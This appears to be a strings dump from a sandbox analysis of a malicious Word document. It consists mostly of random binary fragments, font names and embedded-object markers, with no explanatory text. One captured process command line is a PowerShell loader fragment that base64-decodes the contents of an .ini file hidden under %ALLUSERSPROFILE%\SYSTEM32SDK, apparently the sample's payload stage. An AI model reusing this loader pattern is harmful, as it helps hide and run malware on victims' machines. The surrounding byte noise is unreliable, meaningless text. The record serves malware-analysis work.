@Bh3lFvb%7=fLmfit>sOGu<M7l#x@.Mc=s&;UMO6yh69C"~?-R"JC<6L!u>eTlgZ3G6;XG%Lhh*->dD:yrN($^CuP[uV>JNGr

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

@DFKai-SB

Unicode based on Runtime Data (WINWORD.EXE )

@DotumChe

Unicode based on Runtime Data (WINWORD.EXE )

@DSUn0Z'u&Sn2YH`7&sRu730Q|_d

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

@dvyG{D&iE*%1wB67|

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

@E38GKW1wDn|%9noldtXH0pC}%}l.i+IXZPGpG5

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

@F5t\\4B)Ti4Ja

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

@FangSong

Unicode based on Runtime Data (WINWORD.EXE )

@GulimChe

Unicode based on Runtime Data (WINWORD.EXE )

@GungsuhChe

Unicode based on Runtime Data (WINWORD.EXE )

@JO+*JRD+N5J~%&+:1wyiw.LzFY1lTVT0>9Br/>Lbir@9fYMN#--yh.G9("L2<$B`AJS=bAV{B);@r7we~d$> 3!WeHx(hV6w6"fO[$6"S!29UrsjGn\7)r3cUh+2X

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

@Malgun Gothic

Unicode based on Runtime Data (WINWORD.EXE )

@Meiryo UI

Unicode based on Runtime Data (WINWORD.EXE )

@Microsoft JhengHei

Unicode based on Runtime Data (WINWORD.EXE )

@Microsoft JhengHei UI

Unicode based on Runtime Data (WINWORD.EXE )

@Microsoft YaHei

Unicode based on Runtime Data (WINWORD.EXE )

@Microsoft YaHei UI

Unicode based on Runtime Data (WINWORD.EXE )

@MingLiU-ExtB

Unicode based on Runtime Data (WINWORD.EXE )

@MingLiU_HKSCS

Unicode based on Runtime Data (WINWORD.EXE )

@MingLiU_HKSCS-ExtB

Unicode based on Runtime Data (WINWORD.EXE )

@MS Gothic

Unicode based on Runtime Data (WINWORD.EXE )

@MS Mincho

Unicode based on Runtime Data (WINWORD.EXE )

@MS PGothic

Unicode based on Runtime Data (WINWORD.EXE )

@MS PMincho

Unicode based on Runtime Data (WINWORD.EXE )

@MS Sans Serifff-'

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

@MS UI Gothic

Unicode based on Runtime Data (WINWORD.EXE )

@No*~$Q~]|1)]?2[a>'Y

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

@P4)g!fOxKP)j/yp{db^{5

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

@PMingLiU

Unicode based on Runtime Data (WINWORD.EXE )

@PMingLiU-ExtB

Unicode based on Runtime Data (WINWORD.EXE )

@Q9B\lL:']Ug )s>;(X$_l<.p?>oc?OZF[_W$w-L7lsN1d+CN^=W e5e[FH~0t.}fJ6C:l/kR(:~S6I[\dlB#+;C|dp/6M#edQ

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

@QFmhsVRhx9Ee#Zw]g

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

@S8||y=[+4-<k4'F&=j2bhl+dM-zw(s>vo=oL?3.>6^g^q{A_/!3#LF3 d \^,3Qv;5oD|.=jUSBfUOB1Ggz@<|U1

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

@SimSun-ExtB

Unicode based on Runtime Data (WINWORD.EXE )

@t1:wnI8op(,3i"hvKe]T0@_gyQv|

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

@Y1"gIRYCh>%#wJY]M%dzPq~k^1?v39+-e.]FaU2Z7U:gU|I

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

[!+=]|ItoC&L+pn,LzCI.6^(/-S

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

[$F?#[V2GSnV>Y#\A/+

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

[*,8_b>~Qzsy7nHJqr{T(.q\aB1q\"E~EVB[:;wyv[$

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

[,=v/lc[ZhM5g.*

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

[7tK6#xF{v

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

[9O%oXE\7u)<q9NUa=F ~Whw

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

[>>xsv[k>TDH=9I_~qfE

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

[\;u,YNtQQUaH&=TVtCKsqUw2 =S}'Ox8ecA(sjzs.s_2v$LcAaF/tUm#2)u>2Ifx;BF6d<"CV6I

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

[ECO@COg#up'/g{m<.\XgJuX}cykc?-~F7vg;i2{-{:UhekRc)u,\xwnfZ]Nkeb<y|y/LwpYl{EgSSd$ZFA5td::6V>% 45=1[jkoe^Wh$xy?l[vA^4o"VU)?GCO9y8sEwr#>ML wdP@R_s<*/3'A,tJI%CVsZ=hd'!'gHVV'pp{_VE<h'dOBkqo)A{uoZb6BYOI

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

[F00000000][T01D48F0139F19560][O00000000]*C:\

Unicode based on Runtime Data (WINWORD.EXE )

[F00000000][T01D48F0139F40660][O00000000]*C:\d15aee026074fbd18f780fb51ec0632a.doc

Unicode based on Runtime Data (WINWORD.EXE )

[HaNu5+On]U.Tk0?s)[<W1O.uU\{$vyzBP~?/p

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

[hg_y)((|,@W5y}^9e\Om-F'#$f{oXx2,O"GSM-lYS8/t'Oi6#4{LSO74}GEw|zb8dx(JdzL&8SQK4zJtMLvK-K

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

[OKo+>#!'V$c&!ClEQF/*E-(

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

[Pw/p|98$5;;cv(?

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

[s_2u%<C-C#+z!S0A]gXj:

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

[sUyLf1cwK<{O~"w_~~qw]!@gN<1:}j8psS~{F

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

[System.Text.Encoding]::Unicode.GetString(FromBase64String((getontent %ALLUSERSPROFILE%\SYSTEM32SDK\ProjectConfManagerNT.ini))); ï¿½ï¿½\ï¿½{^ï¿½ï¿½ -Dï¿½E#ï¿½8R &LC7ï¿½ ï¿½>ï¿½#yï¿½Bï¿½wï¿½jvï¿½zï¿½S[System.Text.Encoding]::Unicode.GetString(FromBase64String((get-content %ALLUSERSPROFILE%\SYSTEM32SDK\ProjectConfManagerNT.ini)))

Ansi based on Process Commandline (00008857-00003784)

[tfpgb#usl

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

[w!SL'iepLKjXg%fX7 9UyA53bQP*pe\C4\B\cXa1!wPU![0NAS2NJ3 #t:d3Le=3<d(QFhPB#SX\4'54Qc}`B^ywX~=f|?b$ltB$y^}};$xdf

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

[wP,<_Ye38??CyqacoQ/1@HGD}+00&PdPl8Dq]Fl8i8DTqt&"rM]Nmp:t82=W

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

\'#f1dSx$,a#~ ULR&8^Ck<]Cma|K|4z*~vKyMoHi{U4rysu~TT'V\:7Zbfk-l8{wR

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

\+bxZa4ins1fScXad9PPP05'?o)$s#3'b\8_7R{?

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

\7[y/wk~MufeiyYe~a/{

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

\7V"Uc3^3IGknTnPN(Qn+7:<`.fl

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

\\,-1.&WgVu;IB2>mSI-6:5FwoO`SSe;gJ]&fBmjm_{m_

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

\b6LGC[qDEJc=v[e

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

\bwu-}yv'}Z~?6j6q dg lC$mtoE>YRh3}E~6e!.X]n-3f3g},>9?x~v>?prs>@Etg!V6Od&A2a>uaKrLRz|6onaI#duu2+i*y{2zd<|yH6}4lg2:VLGn.7:6mjn?z;D4;3wq"u3`dvMmn[Go\OLGOVofr7c3L{o8waC/~ip}p~8wpOqX}DA|sv p#ffrI3s'3]8COHm}#38q"p98;7#cf2_a+-i}jZ<kgOgmn>qF~;bA`Ex31cXY<Gj_=~08sqi/.z4|x={2<~E1%NdYw`G*#ur%,b;?a_i@BtmnZ&q_d2n7zl{+l!Y{T7nd.~vf2~21c?ctzvk

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

\c:nIM~-JD-/oVK8bc62oilj83(qhNzFvFfRF#Heh`Y@6e9,h$$bgVx

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

\c[rlWBJa@+dGO#<UT^:9+7=M2zfzJcR!K/i'_;vJi[#Qy+E"<:I.

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

\D!#*YU[U|nJ

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

\h|`C7X6".4#Z,YgIOw`s,=X.<lh0q'!Y`waa{o"7&f4f(&l&Zf,&v&b|NOG=";`do1CUzc\O<@2dZZ~'zXyVZRO2W"T*X=fsq{"H+p{+,OVx4;7o33/<^3^?OHxfW2z`gxDPb`9Y=PYCQ3o8.qy~)6}HB *vaQ-PVr4?|q-itD3*({LmcfzxGqg

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

\wttPb_pvHXL,faq1wT@LB/P7Ju^PiK+]<|AC

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

\zs+]_(O7*u+eaZU&

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

\zX_~m_r]wE>nW]o^enurHZl8'R#WS*;]6}<0esdI.noz_l/>r<zLF adu.Me=m*x.HG]~<MXS~i]%~znOzF7-iAjd\GonMz!|7UMn|UpnL)(B>#Gvhd|f!Y# d.8F:gr:*Je%^qrOB,Z:+lc]#_qpOSz}`#By5 qJxi=UX~KgAryz%=;

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

\~_'&pkv1]7hv;aH6e 'rU{2L c9{a_;~OHaf{%r0u<4!C')#w

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

] w?Gq8L>|;7r{.a%x*hd:J96&XUrcTT

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

]"{o e%^g;Av"?j0D:|OxKz:</kUBP7rz

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

]*/-.t8}P[[E<mVr]C2m,C:R~:t;~7j?<2CW*9'FpUt|d&MLecCO:B[a[_PvRf9$>CrWZ*

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

]6GIp3oE7eB1{ax7qWR=+Yg^=SN36RHf(yBL}?lM cW`M>

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

]_tG@d\.~iXdq IDAT..t_C`k\2Bt_EQ_h0$+V K1*5,.bA~u#8UrE+r[1K8$Lyl,btQEddviLw}!-DF|fr,uYvV![QN)p)E0Fl,|H23<-]ys

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

]dwwO{;9qmo['n

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

]F+hQYbfex-~<E<~Q/'Xx$I1FGXeDPGVP;v@J9776wj:!

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

]fIg06^c36DHH2j"DG8bK/a8hlx?4;t`iD]C8iJl;52K{m0MNI|d%?{M:b!4Ty/"NZ5Xq

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

]gdTw$^`a$gdVn$^`a$gdTw

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

]gdTwdgd\z+p,p-p.p1h/R 4567:pVn/ =!*"v#$%n\t"Z|n.PNG

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

]I;+a9keLAf /V<v@g+=sYM|ZBY2CKIyr|d&4ZGf

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

]iv(TylqerS&j3G|D,fxDn>_Mg#I_" [cqR\L

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

]Q-("HoV~cwgOz4aWj|}T]K/#zF/p)`H

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

]ti8Si8qAwI"l4\rWzcclg-N''uxr_:w^#e#b=v4MQ-"O_=r=W{O.znFfrfr7c3c(r7SOtak{^~ay)E|6;>qzxE#4#={vsO?o^O}C

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

]tNaJ?ss<>S!N$*G*L)*7okAI&hH+um{.*J$&(

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

]Txn2H==`tGOp+F`@y(L40wxE<`B5Si%S&=V%+.N8sN5<u

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

]V6S$)<u9']'C^}*^|3[nM7Bl6x-f\l,\tjz5L;L;/}t!>_SOs#[*#Mqdve}=w~E;z&wuRsHbq.OD[U!G"S7`Q?#Yl&A4HbSic}+oSQW=S{8"D!Jp18b>|'#K/g14Hf[f)'};!mz)_7Q\`:^])+%?8F`n

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

]yl:7[?B)1&V(JVS{4M>@]Xx$VUHCtQy';XI7u:j9cQF|~2s1<w0QoIt|SIuAET6{T*d2)LNbrB$H\P71

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

]yt5a*qkaR (*3qlA}i8du^!D1,!Pns:s_VE&*!>*1+ireg~

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

]Yt>gN<@6%OX1Zy-llou#,'C-GTNO#ixILS:pIiniegFgci|b8=~7488e>~2Pv,iw/==xM*3fM[vzy|f|

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

]~K'-#iIj44iP<A4B4!/,2txONnAzq'j,.iGfinYzhGUi F

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

^)=[M}#q^I5|+Y-,_I?<)Lzwh9?xi2kibv;=rk4b>kUG1V<Z-,ckpb3-QmjLc0\Sc\K?fF~(<.#K{"mgk]Gx2@b`|%OO3w)BF6Q*3$CVssqW0i1K\wn>8Jmf8V-hzv/

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

^@<C_uu.Qh\ [v|P^I

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

^[)\lu/p.-

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

^a[~=ow*]+97!fa[Av7cd6d /_stBuY5?dD"&@`GX<<.Ei[*LD

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

^C`q+N$$szQl QQ(dAB,Jg{Q

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

^D(e?wYaSeV0y#MM):"GJs;wm]uuw2{w+1N#pyw#2|!Z<W&**'=/vWc0!|N.g/^xKv7XaV4aGY-/-xUXuoA%$2h_^VoI.t"\b>oP@y*/iZ[m

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

^IENDB`Dd

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

^N]9\C_%zm?ecP3C';g[+""ell+SmeFqCUR[f'ymu80=(lT6B~3G7:~w1X&w*FTibrkV;x3sUasU;$8XYey[U(Mkr,Q~*}=*P[nu(qBc!4pO|zw?!rtiY_|("vd>gK|yQ4wEEt}\'Q:-{G^|(G9!$=G'0 HP]I|[E .:q/U6LyR\2qg8obXqqA5y#/gdg({]C6^<%>Qi&(Y\W#FQK,^pK#:{ON:djYOH$lepx t~Pzt+"R>:-ZX~{?MwOIN[wM!:beWW=en&wk

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

^o9~8SA&]M

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

^R^'3~jAhg>""2ILgq&}d;U+^@zFo&KX#@vZe

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

^|[qYzZZf_bnCS1ELgtz.AE(4DlX@Y.b$)B>ba

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

_"Yw#M--d9$LL1K,>hp"`xjkvIJ#b,BH}{zPr,sJ@Qb3^|ekvA:i?Xm

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

_-!hSA"6!d B6T?4t[~<JJfVJ,D<<3Z/-6+zlUq$]R0rdgfL Bw[rUf_<k}!I;6%f`2_q:c.ALF ;?):1M;p

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

_50mBSq~Ag)c1{E^N~D^*'w}KA>F?Bzyu}tstVT3x?ILt6-c'Og/"zfhyxB{k#7]V~DG&Ebo&wkgR42

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

_=xd1wL{gQhAKGtO1Qg?phO<8E2sN7)E[J

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

_dN:&^s?%S}#

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

_G+'|:E.dbs&xc&w+;

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

_Gn!zk]uZPsMMW1<"^Qi

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

_s[Ev($H`'6Ophd62M=zmJ^d%*#-_!yjWs^[}]vv.cDd!xA907M%Q8}E6Xgc#iC5$#7#*H63;

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

_t9.t_?|yP~j~?(>td,++ex4A&n]b= |6zfgKg\p-*zU-,,,;#v\r3+x]!t1zOj/B23T"I?

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

_UserForm

Unicode based on Runtime Data (WINWORD.EXE )

_v]0>y&'yy]P@Z77~/B<k5xe9];|zxDm-lM?i}>l#vf

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

_wN6dg')cM/WyNKG~OMrf3rL*I+7z{

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

_XPm#q^N<cY<ZI#/_o7S1|x'Ka

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

_z8+TDc2yiy'\4kf>DCqG:aGaaLVFTBtZ\<2z/dQTlT.zz-{77w\oqy(8;?29"r"g9<m:~?Ouj}_>bn1ww}Ow:Ovs'l3"f

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

_}e4kv+W/Tg"D;[ymVh

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

_~USwJX&>U{xV \ck6Ie#

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

`2Cbr?w$3H/!$'DViy?Gc`B^*J~uYGV"wKvk|6lm:(g

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

`4hzD,bj*8XVr6w.@7+/'X:ZvsOt'}H,9'O`

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

`7ixt4 [$qcA7?zM5

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

`8>Z/,~*[03jwx?xYT0+a6tqx/S_]MmM5:^PN.#k2j)%a#42h3#6pEds1538#)XF>JOj3Qs

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

`9gm~>WzUcU,

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

`; Z<LOV5n/v~8Va:Ta6Jg]GxFarOrf~UXqU#K!8\5lU[@RkG`u<[w/nt;Bk,p5]M7.0_~1d-;AP=7qk]5q&}: t~#M+W,W\9kvUg6c`c#cQ6x{Lb

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

`@B,P`uZ4]v.k]G~:QSqkh;<t[ynnHYu8Zj;uG

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

`@Pi`ii xpP@

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

`\??\Volume{e47f4f43-d863-11e7-9d8f-806e6f6e6963}

Unicode based on Runtime Data (WINWORD.EXE )

`\??\Volume{e47f4f44-d863-11e7-9d8f-806e6f6e6963}

Unicode based on Runtime Data (WINWORD.EXE )

`\??\Volume{e47f4f47-d863-11e7-9d8f-806e6f6e6963}

Unicode based on Runtime Data (WINWORD.EXE )

`A1]+%q=c0loXj5PwKeETlts>fjKqwY

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

`AO$`9Y~w

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

`b8\ZFQ(J#Mr;nYf2,?H8hnkEsrP{H8H_w'1qKmnJQ %-]So|4{OM2xV%%9.%A|n^7U@fb%{hf6a

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

`Microsoft Forms 2.0 TextBoxEmbedded ObjectForms.TextBox.19qTextBox1H,4

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

`POt&POt&PRINTCompObjtObjInfo

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

`qm?dy;h[Gf<:\J"fB;37fXK+2cG< y4?zk

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

`qo,A/[k[C`

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

`s7~T$W;/Yddk:9+4Wf:Gu^`7L31cQDa9qC

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

`Sl!BWcdJ@>EdK}l<a5g64G(d5gV_\Fpr)8@jwW+:;, (/sav,,`

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

`V**3tS]~IVtUL:{7s!L[b$aK"]B.Qc&>@<RoO4|OB88IeWtf&.t -y]8{6o4_nw'r^CQAM4vQY0n

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

`xDNzq#;e.p {3]~W-7:

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

A"E[n3}y[|q4c`m~XK8ow7baFppQnGO78p8qNEwP,TWx;Q{:|!-Z.8as

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

a&7SJ6J4i[F#JJJF?o~g`;Ovh3i-eeoxpss

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

A&?z0ZSY{}y[G-d;EC[\DcKsCs'@Ef;fQ1(` R:WXGp&,B2xWP_:L~0],py;,U0aSXs'+^,,mZo<,NG0o52Wy:3q/VNa~hBp"

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

A,FQ(Y)BJr<8pa

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

a0/DaiXR+~NJ3>&3"t4Yq4=y./AQ@v

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

A0IyvX <Gt-o{a-y,</M/a5mq5{57f3k}<f%n7fn1p~fw!'JsV#[[[!l.CbnY<oMLq Nt]HTr,J\Z>pu3s7?#jj]I"=*Jz cu[qxX9$o+|t{YRx\<tp=N2-hDcOACehq==?ql.8N<+S?;5?=lXnKsK/]N64{/C4!XHfeffF

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

a0~,V3c4jaa,;w=E|='$<,oSa3&v<yowN2g<yD,~/0^CflOgio:&T0KH0J6

